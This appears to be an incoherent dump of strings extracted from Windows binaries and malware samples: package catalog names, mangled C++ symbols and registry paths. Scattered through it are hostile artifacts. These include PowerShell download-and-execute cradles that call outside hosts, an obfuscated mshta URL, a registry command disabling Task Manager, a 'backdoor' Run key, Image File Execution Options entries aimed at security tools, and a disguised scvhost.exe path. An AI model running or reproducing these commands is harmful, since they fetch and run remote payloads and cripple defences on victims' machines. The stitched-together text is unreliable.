.?AU?$producer_convert@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVectorView@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVectorView@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterable@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterable@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
<span>windowssecurity</span></div></div><divclass="col-md-8"><divclass="activate_lic"><ul><li><ahref="#"><button>activateyourlicense</button></a>
codebase="&#104;ttp://java.sun.com/update/1.6.0/jinstall-6u60-windows-
%-windowstylehidden
8\windows\currentversion\policies\system/vdisabletaskmgr/treg_dword/d1/f:
\windows\currentversion\app paths\iexplore.exe
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
:\windows\system
8cessstart:134163940572290041\c:\windows\system32\cmd.exe
diskVolume3\Windows\Prefetch\CONHOST.EXE-0C6456FB.pf
Windows NT\CurrentVersion\Image File Execution Options\protector.exe
Windows NT\CurrentVersion\Image File Execution Options\Quick Heal.exe
Windows NT\CurrentVersion\Image File Execution Options\homeav2010.exe
Windows NT\CurrentVersion\Image File Execution Options\tapinstall.exe
Windows NT\CurrentVersion\Image File Execution Options\AntivirusXP.exe
Windows NT\CurrentVersion\Image File Execution Options\SaveDefense.exe
Windows NT\CurrentVersion\Image File Execution Options\SafetyKeeper.exe
j|1[fWindows NT\CurrentVersion\Image File Execution Options\SoftSafeness.exe
Windows NT\CurrentVersion\Image File Execution Options\TrustWarrior.exe
-Windows NT\CurrentVersion\Image File Execution Options\AntiVirus_Pro.exe
Windows NT\CurrentVersion\Image File Execution Options\AntivirusPlus.exe
aWindows NT\CurrentVersion\Image File Execution Options\personalguard.exe
Windows NT\CurrentVersion\Image File Execution Options\secureveteran.exe
Windows NT\CurrentVersion\Image File Execution Options\MalwareRemoval.exe
Windows NT\CurrentVersion\Image File Execution Options\Secure Veteran.exe
Windows NT\CurrentVersion\Image File Execution Options\smartprotector.exe
Windows NT\CurrentVersion\Image File Execution Options\spywarexpguard.exe
gWindows NT\CurrentVersion\Image File Execution Options\xp_antispyware.exe
Windows NT\CurrentVersion\Image File Execution Options\Security Center.exe
Windows NT\CurrentVersion\Image File Execution Options\SecurityFighter.exe
Windows NT\CurrentVersion\Image File Execution Options\securitysoldier.exe
Windows NT\CurrentVersion\Image File Execution Options\AntispywarXP2009.exe
Windows NT\CurrentVersion\Image File Execution Options\QuickHealCleaner.exe
,+=Windows NT\CurrentVersion\Image File Execution Options\AntivirusPro_2010.exe
_1Windows NT\CurrentVersion\Image File Execution Options\PC_Antispyware2010.exe
Windows NT\CurrentVersion\Image File Execution Options\antivirusxppro2009.exe
JWindows NT\CurrentVersion\Image File Execution Options\windows Police Pro.exe
Windows NT\CurrentVersion\Image File Execution Options\Anti-Virus Professional.exe
msEnhancedWindowsSearchOpenTab
msWindowsHighContrastControlsInProgress
msWindowsShare
AsyncFullscreenWindowState
b9^com.microsoft.windows.extension.peopleexperienceplatformclien
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
WindowsVersion
c:\windows\system32\windowspowershell\v1.0\powershell.exescb('m%%%sh%%%t%%ahtt%%%ps%%%%://%%%te%s%%t%in%%%%g%%%%-%%%wra%it%h.%oss-a%%p-sou%t%%h%%eas%%%%t-%1%%%%.%%%%al%%%%i%%%yu%%%%n%%%%c%%%s%.%%com/%%%%fl%as%%h%%.mp4'.replace('%',''));
Windows.Perception.Stub.dll
rapidantivirus.com[spyware.cyberalert2;processestokill=1regkeysvaluetodelete=1description:advice:alert level:windows\currentversion\run\"default"support@eurekalog.com
c:\windows\
powershell-nologo-noprofile-windowstylehidden-command
base::win::RoGetActivationFactory( ScopedHString::Create( RuntimeClass_Windows_Foundation_Metadata_ApiInformation) .get(), __uuidof(**(&api_info)), IID_PPV_ARGS_Helper(&api_info))
(base::win::GetActivationFactory< IWindowTabManagerStatics, RuntimeClass_Windows_UI_Shell_WindowTabManager>( &tab_manager_statics))
base::win::RoActivateInstance( ScopedHString::Create(RuntimeClass_Windows_UI_Shell_WindowTab).get(), &window_tab)
(base::win::GetActivationFactory< IWindowTabIconStatics, RuntimeClass_Windows_UI_Shell_WindowTabIcon>( &tab_icon_statics))
0.wmfc:\windows\wd4sx.wmfptwf
2c3^com.microsoft.windows.e
-WindowStyle Hidden -Command "IEX(New-Object System.Net.WebClient).DownloadString('http://176.124.206.88:9578/shell.ps1-
c0^com.microsoft.windows.app
`nul2>&1"%systemroot%\system32\cacls.exe""%systemroot%\system32\config\system"
1MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
C:\WINDOWS\SYSTEM32\
OFTWARE\Microsoft\Windows NTI
      <Color Name="ToolWindowShelf">
12d^com.microsoft.windows.extensionpackage
12e^com.microsoft.windows.app.logonwebhost
com.microsoft.windows.app.logonwebhost
12f^com.microsoft.windows.extensions.xaml
>wpndatabase (C:\Users\job\AppData\Local\Microsoft\Windows\Notifications)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy (C:\Users\job\W
Windows.EnhancedStorage.Lock
Windows.EnhancedStorage.Unlock
-exec bypass -Windowstyle hidden -2
/windows/
Lua:DirPathWindows
/system32/
Lua:DirPathSystem32
\microsoft\windows\start menu\startup\
/microsoft/windows/start menu/startup/
System.Windows.Forms.UnsafeNativeMethods.IPropertyNotifySink.OnRequestEdit
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.ExpandToEnclosingUnit
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.MoveEndpointByUnit
System.Windows.Forms.IButtonControl.NotifyDefault
System.Windows.Forms.IButtonControl.DialogResult
System.Windows.Forms.IButtonControl.get_DialogResult
System.Windows.Forms.IButtonControl.set_DialogResult
Microsoft.Windows.Security.CodeIntegrity.SACWintrustActivity
\SystemRoot\System32\drivers\stornvme.sys
Microsoft-Windows-CoreSystem-DXG-Common-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
onecore\base\ngscb\wmi\win32_tpm\healthattestationlib\windowsbootconfigurationlog.cpp
@UI@Windows@4@@winrt@@
.?AU?$producers_base@UXamlSystemBaseType@implementation@TaskManagerApp@winrt@@V?$tuple@UIXamlType@Markup@Xaml@UI@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer_convert@UXamlSystemBaseType@implementation@TaskManagerApp@winrt@@UIXamlType@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UXamlSystemBaseType@implementation@TaskManagerApp@winrt@@UIXamlType@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UXamlSystemBaseType@implementation@TaskManagerApp@winrt@@UIXamlType@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UXamlSystemBaseType@implementation@TaskManagerApp@winrt@@UIXamlType@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UXamlSystemBaseType@implementation@TaskManagerApp@winrt@@UIXamlType@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@winrt@@
.?AU?$producers_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@V?$tuple@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@234@@4@@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@impl@winrt@@
.?AU?$root_implements_composable_inner@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@$0A@@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@@impl@winrt@@
Microsoft.WindowsTerminal_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow
powershell-windowstylehidden-executionpolicybypass$
\windows\system32\wscript.exe/e:vbscript.encode
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Graphics.Gdi32full
.windowsstore.com1&*
System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Runtime.WindowsRuntime, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
pwsh=cornick&"-executionpolicybypass-windowstylehidden-command
@echooffstart/bpowershell-executionpolicybypass-windowstylehidden-command"iex(new-objectnet.webclient).downloadstring('https://api.robquiz.com/user/gofy.ps1')"
9if(([security.principal.windowsprincipal][security.principal.windowsidentity]::getcurrent()).isinrole([security.principal.windowsbuiltinrole]'administrator'))
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-International-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-CoreSystem-International-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-Security-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.712.cat|!
Microsoft-Windows-Kernel-Package-GlobMerger-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-RemoteAssistance-Package-Client~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Presentation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Presentation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
e":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\MessagingDataModel2.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[183,90,50,127,12,132,74,110,77,54,169,242,8,83,241,23,201,134,74,251],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"MessagingDataModel2.dll","InternalName":"MessagingDataModel2","FileDescription":"MessagingDataModel2","ProductName":"Microsoft
 Windows
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-125_8wekyb3d8bbwe
c:\windows\system32\rundll32.exe
%s\system32\cmd.exe%
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; Win64; x64; Trident/5.0)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; Win64; x64; Trident/7.0)
QWindowsIntegrationPlugin
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialog
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accounts
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntime
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Commonp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopStickerEditor
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennialx
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHub
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubWidgetHostp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleWidget
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DragTray
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.FeatureDiscoverability
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!InputApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.TextInputExtensions
Windows@
of WindowsH
version of WindowsL
bit version of WindowsO
64-bit version of WindowsR
or 64-bit version of WindowsV
bit or 64-bit version of WindowsY
32-bit or 64-bit version of Windows[
a 32-bit or 64-bit version of Windows`
have a 32-bit or 64-bit version of Windowsd
you have a 32-bit or 64-bit version of Windowsg
if you have a 32-bit or 64-bit version of Windowsm
ARM|Intel|system|systems|32 bit|64 bit|windows version|0
.?AU?$__abi_FunctorCapture@V<lambda_0aa32ef11ea472681bf0e66c7a053615>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-UMDF-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Kernel-Package-IsolatedUserMode-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|!
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-UMDF-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Kernel-Package-IsolatedUserMode-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-NetFx-Shared-Typelibs~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Runtime-Metadata-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|tworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
C:\Windows\VGAuthCLI.binVGAuth.dll
api-ms-win-core-windowserrorreporting-l1-1-0.dll
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows/Temp/Microsoft World.exe"
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
:foldertoviewfileusingwindowsexplorerabrircarpetaparaverarchivos
C:\WINDOWS\huG
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::SetTokenCacheExpirationTime
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::GetWebAccountMapResultForAccountsInternal
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::CompareLinkedAccounts
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::GetApplicationTokenBindingPublicKeyId
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::GetDefaultSignInAccountChangeHint
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::FindAccountForProvider
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::GetDefaultSignInAccountAsyncForUser
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::GetDefaultSignInAccountAsync
Windows::Internal::Security::Authentication::Web::CTBAccountManagerInternal::UpdateWebAccount
XWindows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::CreateResultForExtension
Windows::Internal::Security::Authentication::Web::CTBAccountManagerInternal::GetWebAccountClientViews
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::NotifyAccountChanged
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::GetAccountPicture
sing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft.Windows.MediaFoundation.SensorGroup
Microsoft.Windows.TextInput.InputSession
=[microsoft.windowsazure.commands.common.extensions.dsc.dscextensionsettingsserializer]::separateprivateitems(
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
hkey_local_machine\software\microsoft\windows\currentversion\run\backdoor
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ProcessLifetimeManager
Microsoft.Windows.ForegroundManager
Microsoft.Windows.LifetimeManager.AppStateTransition
Microsoft.Windows.BackgroundAccessManager
WindowsRuntime 1.4
Csystem32\regsvr32 /s @@
<[windows\system32\scvhost.exevirtual-net.pisem.su/nick.gif
C:\WINDOWS\SYSTEM32\,
Lue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4ElementTheme@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ElementTheme@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ElementTheme@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements_composable_inner@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@$0A@@impl@winrt@@
.?AU?$producer@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ElementTheme@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
